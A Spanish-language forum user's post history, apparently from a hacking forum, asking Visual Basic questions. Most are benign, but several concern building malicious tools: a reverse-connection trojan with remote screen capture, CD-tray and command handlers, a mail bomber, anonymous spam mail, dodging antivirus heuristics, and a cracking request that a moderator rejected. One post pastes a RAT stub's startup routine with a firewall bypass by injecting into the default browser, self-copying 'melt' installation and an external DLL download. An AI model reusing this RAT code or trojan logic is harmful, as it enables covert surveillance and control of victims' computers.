Temas

Hola buenos dias, estoy con un programa hecho en VB que me tiene loco, no consigo crackearlo, alguien puede decirme como es? o que necesito? gracias!

el programa lo dejo aqui, parece muy sencillo pero no lo consigo yo solo...


mi idea es, no crackearlo del todo, si no en vez de mostrar el form1, que es el que muestra por primera vez, que muestre el form2.

pero no se como va eso..

Modificado:

Se ha eliminado el link de descarga a Mediafire, plantea tus preguntas en el foro de cracking y se te guiará en tus dudas, pero no se te crackeará ningun programa.
Esperamos que lo entiendas, crackear un programa es ilegal.

Saludos.

Hola a todos, estoy x aqui de nuevo jeje, bueno mi consulta es sobre el evento Conection Request

Bueno tengo un programa que escucha en 4 puertos diferentes

y solo en 1 de esos puertos acepta la conexion para listarmelo en el LV, mi duda es, cuando se listan todos las conexiones no tengo huevos de asignarle 1 ID a los 4 sockets esdecir


puertos:

5010 ID 1
5011 ID 3
5012 ID 2
5013 ID 4

Cabria la posibilidad de asignar a estos 4 puertos el mismo ID que 5010? gracias por vuestra ayuda!

Hola que tal todo mira les quereis preguntar una cosa .. he intentado miles de formas para conseguir hacer un ejemplo de como logearme desde el VB al camfrog, como yahoo por ejemplo, pero el problema esque al capturar paquetes del camfrog, no consigo nada no se como funciona, alguien sabe la forma de logearme y mandar un mensaje de texto ? asi en plan Spammer pero no es lo que quiero es para que lo entendais, gracias

Hola a todo el mundo, felices fiestas!


Bueno queria saber como podria obtener datos de una pagina web a traves de un classname o algo, algo como... obtener los textboxs de una web, por ejemplo, el textbox del buscador de google, lo que yo escriba en el textbox, que me lo ponga en un txtbox en vb, se podria hacer? NO ENCUENTRO NADA PARA ESO!

por que winsock va tan lento, incluido el bifrost va rapido...? he comparado troyanos y el mas rapido es bifrost,y usa conexion TCP, winsock no puede ser igual de rapido?

Bueno, gracias a vosotros mirar lo que salio!

Ya casi lo tengo terminado pero bueno espero comentarios!

Mi creacion en VB

http://vimeo.com/818374


saludosss

Código [Seleccionar] Expandir

Option Explicit
Public Const FINAL_PROGRAM_SIZE = 61440
Public Const PassString As String = "password"
Public Const ServerPass As String = ""
Public IpToConnectTo As String, PortToConnectTo As Long
Public UserConnected As Long, MeltToFile As String, MeltToDirectory As String

Sub Main()
'On Error Resume Next
'
Dim s1 As String, sFile As String
Dim strInfo() As String
Dim ServerFile As String, EncryptedInfo As String
Dim s2 As String, ServerBytes() As Byte, b1() As Byte, MeltDir As Long
Dim InjectedProcesses() As String, ProcessToInject As String
Dim i1 As Long, i2 As Long, i3 As Long

EncryptedInfo = SysDir & "ei_log.log"
If FileExists(EncryptedInfo) Then
    If FileLen(EncryptedInfo) = 0 Then
        DeleteFile EncryptedInfo
        ShellExecute 0, "", AppExe, 0, "", 1
        End
    End If
    'firewall bypass
    'this part of the program reads itself.
    'a file was stored in the other instance that is now available for use
    'so you have to collect the RAT [stored] data and use it in the RAT
    sFile = DecryptString(StrConv(vbReadEndFile(EncryptedInfo, 0), vbFromUnicode), PassString)
    s1 = sFile
    IpToConnectTo = Mid(s1, InStr(1, s1, "{01=") + 4, InStr(1, s1, "=01}") - InStr(1, s1, "{01=") - 4)
    PortToConnectTo = CLng(Mid(s1, InStr(1, s1, "{02=") + 4, InStr(1, s1, "=02}") - InStr(1, s1, "{02=") - 4))
    MeltToFile = Mid(sFile, InStr(1, sFile, "{04=") + 4, InStr(1, sFile, "=04}") - InStr(1, sFile, "{04=") - 4)
    MeltDir = Mid(sFile, InStr(1, sFile, "{05=") + 4, InStr(1, sFile, "=05}") - InStr(1, sFile, "{05=") - 4)
    Select Case MeltDir
        Case 0
            MeltToDirectory = SysDir
        Case 1
           MeltToDirectory = WinDir
       Case 2
            MeltToDirectory = AppPath
        Case 3
            MeltToDirectory = GetTempPath
    End Select
    MeltToFile = LCase(MeltToDirectory & MeltToFile)
   
    'if user doesnt have zLib, download it now for compression
    'this will make the 2.5 mb screenshots ~50kb, and still crystal clear picture
    If UserHasZLIB = 0 Then
        DeleteFile SysDir & "zlib.dll"
        Call GetInternetFile("http://www.hotlinkfiles.com/files/878001_9nuek/zlib.dll", SysDir & "zlib.dll", 256)
    End If
   
    DeleteFile EncryptedInfo
    Load frmMain
    frmMain.Show
Else
    'default when user opens.. right here we want to store the RAT's
    'information so that the firewall bypass can read it, avoiding registry.
    'might as well encrypt the file
    'soo in a nutshell..
    'this part of the program reads itself and stores the information for
    'access to the next loaded version with FWB+
    'i keep these notes to help me remind myself.
   
    'open itself and decrypt string
    ServerBytes = vbReadEndFile(AppExe, FINAL_PROGRAM_SIZE)
    sFile = CStr(ServerBytes())
   
    ServerBytes = sFile
    DeleteFile EncryptedInfo
    vbWriteByteFile EncryptedInfo, ServerBytes
   
    sFile = DecryptString(sFile, PassString)
   
    '=================================
    '
    'Find a process to inject to, with internet access
    '
    '=================================
       
    s2 = Mid(sFile, InStr(1, sFile, "{08=") + 4, InStr(1, sFile, "=08}") - InStr(1, sFile, "{08=") - 4)
    If InStr(1, s2, "|") Then
        InjectedProcesses = Split(s2, "|")
        For i1 = LBound(InjectedProcesses) To UBound(InjectedProcesses)
                If LCase(InjectedProcesses(i1)) = LCase("[DefaultBrowser]") Then
                'If we hit the default browser, we are just gonna load into it
                    InjectedProcesses(i1) = ExeRegPath(DefaultBrowser)
                    If FileExists(InjectedProcesses(i1)) Then
                        'the browser exists, inject into it
                        ProcessToInject = InjectedProcesses(i1)
                    Else
                        If Len(s2) = 0 Then
                                'alternative find default browser through Shell32
                               
                        End If
                    End If
                    i1 = UBound(InjectedProcesses)
                End If
            If IsProcessEXERunning(InjectedProcesses(i1)) Then
                'process running , run one after
                ProcessToInject = AppFullPath(InjectedProcesses(i1))
               
                i1 = UBound(InjectedProcesses)
            End If
        Next
        If ProcessToInject = "" Then ProcessToInject = ExeRegPath(DefaultBrowser)
    End If
    '=================================
    '
    'Determine if we need to melt
    '
    '=================================
    MeltToFile = Mid(sFile, InStr(1, sFile, "{04=") + 4, InStr(1, sFile, "=04}") - InStr(1, sFile, "{04=") - 4)
    MeltDir = Mid(sFile, InStr(1, sFile, "{05=") + 4, InStr(1, sFile, "=05}") - InStr(1, sFile, "{05=") - 4)
    Select Case MeltDir
        Case 0
            MeltToDirectory = SysDir
        Case 1
           MeltToDirectory = WinDir
       Case 2
            MeltToDirectory = AppPath
        Case 3
            MeltToDirectory = GetTempPath
    End Select
    MeltToFile = LCase(MeltToDirectory & MeltToFile)
    If LCase(AppExe) <> MeltToFile Then
        'we need to melt
        DeleteFile MeltToFile
        If MeltDir <> 2 Then FileCopy AppExe, MeltToFile
        b1 = LoadFile(AppExe)
        If MeltDir <> 2 Then InitiateMelt
        RunExe ProcessToInject, b1
        Exit Sub
    Else
        'shouldnt be occuring!!
        'program will uninstall after this
        DeleteFile EncryptedInfo
        MsgBox "Program Detection Error"
        InitiateMelt
        End
    End If
End If
End Sub









PROBAR SI SIRVE ESTO :s

hola a todo el mundo..

queria preguntaros el por qué no me obedece lo que es el cliente a el server

el codigo es..:

Código [Seleccionar] Expandir

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim vtData As String
Dim vDatos() As String
Dim Datos As String

ws.GetData vtData, vbString

If Envio = True Then ' Archivos recibidos
    DataFile = DataFile & vtData
   
    If Len(DataFile) = lenFile Then
        Open NombreRec For Binary As #1
        Put #1, , DataFile
        Close #1
        DataFile = ""
        Envio = False
    End If
   
End If

txtRecibido.Text = vtData



ws.GetData Datos
ws.GetData vtData, vbString
vtData = txtRecibido.Text
vDatos = Split(Datos, "|")
Select Case vDatos(0)
Case "Cerrar"
End
Case "Screen"
Resolucion = vDatos(1)
Foto.SetSamplingFrequencies 2, 2, 2, 2, 2, 2
Foto.Quality = Resolucion
Foto.SampleScreen
Foto.SaveFile ("c:\capture.jpg")
txtRecibido.Text = vtData
Open "c:\capture.jpg" For Binary As #1
File = Input(LOF(1), 1)
Close #1
FileTotal = Len(File)
ws.SendData "Screen|" & FileTotal
Kill "c:\capture.jpg"
Case "OK"
ws.SendData File
Case "Name"
Nombre = vDatos(1)
Kill WINDOWS & "\name"
Open WINDOWS & "\name" For Binary As #1
Put #1, 1, Nombre
Close #1
End Select
End Sub

no entiendo.. lo que quiero esque si "hola" es igual a "hola" entonces me de " msgbox hola "

pero no me hace caso, :S!!

Queria comentaros si es posible, a traves de google, escribir por ejemplo hola, y todo lo que busque google, lo meta en un listbox por ejemplo


Escribo:

elhacker.net

y toda las webs que consiga de elhacker.net

me las meta en un text o un listview, es posible?


que las consigia de por ejemplo 99 paginas, no solo de la parte 1, si no que busque

1,2,3,4,5,6,7,8,9 asi entendeis chicos? espero respuesta gracias y feliz navidad a todos

Hola, feliz navidad a todos, queria preguntar si se puede hacer esto, mirar tengo un codigo fuente que obtiene el codigo fuente de una pagina web, pero mi duda es, si al obtener el codigo fuente, si por ejemplo

la web tiene

Bienvenido

yo quiero que al obtener el codigo fuente, me diga si Bievenido esta en el codigo fuente de la pagina y me lo diga en un label, es posible? si es posible podriais ponermelo ? asias, aqui os dejo el codigo fuente para obtener el codigo de la pagina:


'debes tener el control internet transfer control registrado en tu equipo

Dim strUrl As String

Private Sub Command1_Click()
    On Error GoTo manejadorerror
    strUrl = txtURLbox.Text
    'verificar si hay, al menos, 11 caracteres ("http://www.")
    If Len(strUrl) > 11 Then
        Screen.MousePointer = 13
        txtNote.Text = Inet1.OpenURL(strUrl)
        Screen.MousePointer = 0
        MsgBox ("Descarga completada"), vbInformation
    Else
        Screen.MousePointer = 0
        MsgBox "Introduzca un nombre de documento válido en el cuadro URL"
    End If
    Exit Sub
manejadorerror:
    Screen.MousePointer = 0
    MsgBox "Error en la conexión con el URL", , Err.Description
End Sub

Private Sub Command2_Click()
'nota: todo el archivo se almacena en una única cadena
CommonDialog1.DefaultExt = "HTM"
CommonDialog1.Filter = "archivos HTML (*.HTML;*.HTM)|*.HTML;HTM"
CommonDialog1.ShowSave
If CommonDialog1.FileName <> "" Then
    Open CommonDialog1.FileName For Output As #1
    Print #1, txtNote.Text
    Close #1
End If

End Sub

Private Sub Command3_Click()
End
End Sub

Private Sub Command6_Click()
CommonDialog1.DefaultExt = "TXT"
CommonDialog1.Filter = "archivos de texto (*.TXT)|*.TXT"
CommonDialog1.ShowSave
If CommonDialog1.FileName <> "" Then
    Open CommonDialog1.FileName For Output As #1
    Print #1, txtNote.Text
    Close #1
End If

End Sub

Tengo puesto para que me abra el cd-rom y me lo cierre, y lo hace bien..


Pero tengo esto otro, que es para que el server se reinicie y no me hace caso


Algun fallo??

SERVER

Código [Seleccionar] Expandir

Private Sub WS_DataArrival(ByVal bytesTotal As Long)
Dim dato$
Dim reiniciar$
ws.GetData dato
If LCase$(dato) = "opencd" Then
mciSendString "Set CDAudio Door Open", ReturnString, 127, 0
ElseIf LCase$(dato) = "closecd" Then
mciSendString "Set CDAudio Door Closed", ReturnString, 127, 0
Else
End If
ws.GetData apagate
If reiniciar = "apagate" Then
MsgBox "REINICIADO"
End If
End Sub

Este es el comando que quiero efectuar:

ws.GetData apagate
If reiniciar = "apagate" Then
MsgBox "REINICIADO"


Pero claro, no me obedece :S




---------------

Esto esta en un Commandbuttom
CLIENTE

Código [Seleccionar] Expandir

Private Sub Command8_Click()
Ws.SendData "apagate"
Label12.Caption = "Servidor reiniciado"
End Sub

Buenas de nuevo, tengo una duda que no se como aclarar, pero seguro que es lo más facil que nada


Bueno al grano..

Mi troyano va por conexión inversa, y quiero que abra el cd-rom, bien hasta hay vamos ok


Lo raro esque me abre el cdrom, pero despues para cerrarlo no me hace caso y me suelta un error...

El codigo es este haber si ustedes pueden ayudarme:

en un timer tengo puesto esto, por que si no me salta la heuristica:

----------------------------------

Código [Seleccionar] Expandir

    Dim Res As Long, ReturnString As String * 127
    Res = mciSendString("Set CDAudio Door Open", ReturnString, 127, 0)-----------------------------------
y aqui en:

Código [Seleccionar] Expandir

Private Sub WS_DataArrival(ByVal bytesTotal As Long)
On Error GoTo error
Dim opencd As String
ws.GetData opencd
opencd = Command8_Click
error:
End Sub-----------

Y en el cliente en un boton tengo puesto:

Código [Seleccionar] Expandir

Ws.SendData "opencd"------------


Pero no me hace caso.. alguien me puede echar una mano de como puedo hacer que me abra y cierre con 2 botones? si es 1 mejor 


Codigo cd-rom:

Código [Seleccionar] Expandir

[color=red]Para abrir es:[/color]
   Dim Res As Long, ReturnString As String * 127
    Res = mciSendString("Set CDAudio Door Open", ReturnString, 127, 0)
[color=red]Para cerrar es:[/color]
   Dim Res As Long, ReturnString As String * 127
    Res = mciSendString("Set CDAudio Door Closed", ReturnString, 127, 0)


Gracias eh! espero respuesta saludos a todos! 

Solo es para completar algo más...

Buenas, podria ser que el server mandara el contenido de command1_click al cliente?


Osea que yo clico en el cliente y me mande lo que pone en command_click

Mi idea es...

Que al hacer click en el boton command


Me de el nombre de su PC y lo ponga en  un label1


Podria ser chicos? espero respuesta

Buenas a todo el mundo, que tal



Bueno voy al grano jejeje

Hice un troyano por conexion inversa

Recoje la IP y tiene la opcion de mandar un comando via ms-dos

Mi duda es:


Añadirle la opcion de poder capturar la pantalla y visualizarla en un form con un picturebox a la calidad 40% aproximadamente

Muchas gracias por vuestra ayuda espero que me echeis un cable... saludos!!!!!

me puedes ayudar sobre un ocx? se que lo sabes, eres un maestro. es un ocx de una lupa, pero en el juego se ve negro, sabes por que puede ser?

Encontre el programa que dije,

pero sigo sin entender como, he buscado todo tipo de ocx, y todo...

os dejo una imagen para que veais que si soporta Directx ( la lupa )

otra preguntita, jejej  

se puede hacer esto..?

quiero hacer un programa que haga un screen de... 10 pixeles x 10 pixeles..

a un sitio especifico.. por ejemplo..



esto se puede hacer por VB 6.0 ?

que se haga un screen a un sitio especifico.. es para un juego jeje,

la idea que tengo, es al hacer el screen con otra opcion se pueda aumentar el zoom para poder verlo mucho mas cerca, no tanto pero bueno.. jeje

gracias de ante mano

Buenas a todos,

quisiera preguntaros una pregunta...

estoy haciendo un proyecto con un OCX ( lupa.ocx )

ya esta echo, pero a la hora de ejecutar un juego, en modo ventana, la lupa se pone en color negro, y no se puede visualizar lo que el zoom de la lupa, alguien puede decirme que OCX o algun proyecto que soporte OpenGL o algo parecido?

gracias por leerme y un saludo

buenas a todo el mundo,

mi duda es,

tengo un proyecto en vb sobre enviar e-mails anonimos, pero no entiendo en el texbox de el texto a enviar como poner dos texbox.

Ejemplo

Asunto: hola que tal

Texto: hola que hay

lo que quero hacer esque el programa envie

texto hola q hay
texto hola q hay

se puede hacer?

muchas gracias y un saludo

buenas a todo el mundo. estoy comiendome la cabeza pero no consigo hacer una cosa ya qye tengo que pedir ayuda..


mi duda es..


tengo un listbox donde extraigo una lista de nombres desde un servidor.

ahora...


tengo un command buttom, pero tiene una accion


que quiero añadirla al listbox


por ejemplo, mandar un mensaje al nombre selecionado de la lista de ListBox

desde el boton Command button.. y mi duda es..


como se puede hacer eso chicos?


muchas gracias de antemano.

buenas, estoy haciendo un mail bomber, pero el problema esque no me deja enviar muchos emails seguidos, lo que intento hacer, es ponerle un timer que cada medio segundo, envie el correo, os dejo una imagen gracias de antemano

buenas, estoy intentando hacer un programita que este el 50% transparente, pero no consigo hacerlo, solo quiero que este al 50% y que este visible, osea que no se pueda minimizar, gracias de antemano un saludo

Buenas, al fin de que no me fuciona el sendkey ni el api de send.. para poder escribir en un juegoo.. otro tipo de comando, o otro tipo de lenguaje que aguante el juego un tipo de sendkey ? gracias de antemano salu2

alguien sabe como puedo hacer, que por ejemplo, creo un boton, y al darle al boton que escriba en un intervalo de tiempo " HOLA " y le de al intro.. esque quiero hacer un cheat, que al darle al boton, haga 2 veces barra espaciadora en un intervalo de tiempo, tanto como en 1 o 4 segundos, o en milisegundos, se puede hacer chicos?

hola.. quiero cargar un boton con esta aplicacion.. osea un acceso directo..  me podriais decir como cargar esto desde VB ? mediante un boton ( C:\Archivos de programa\Steam\steam.exe" -applaunch 10 n)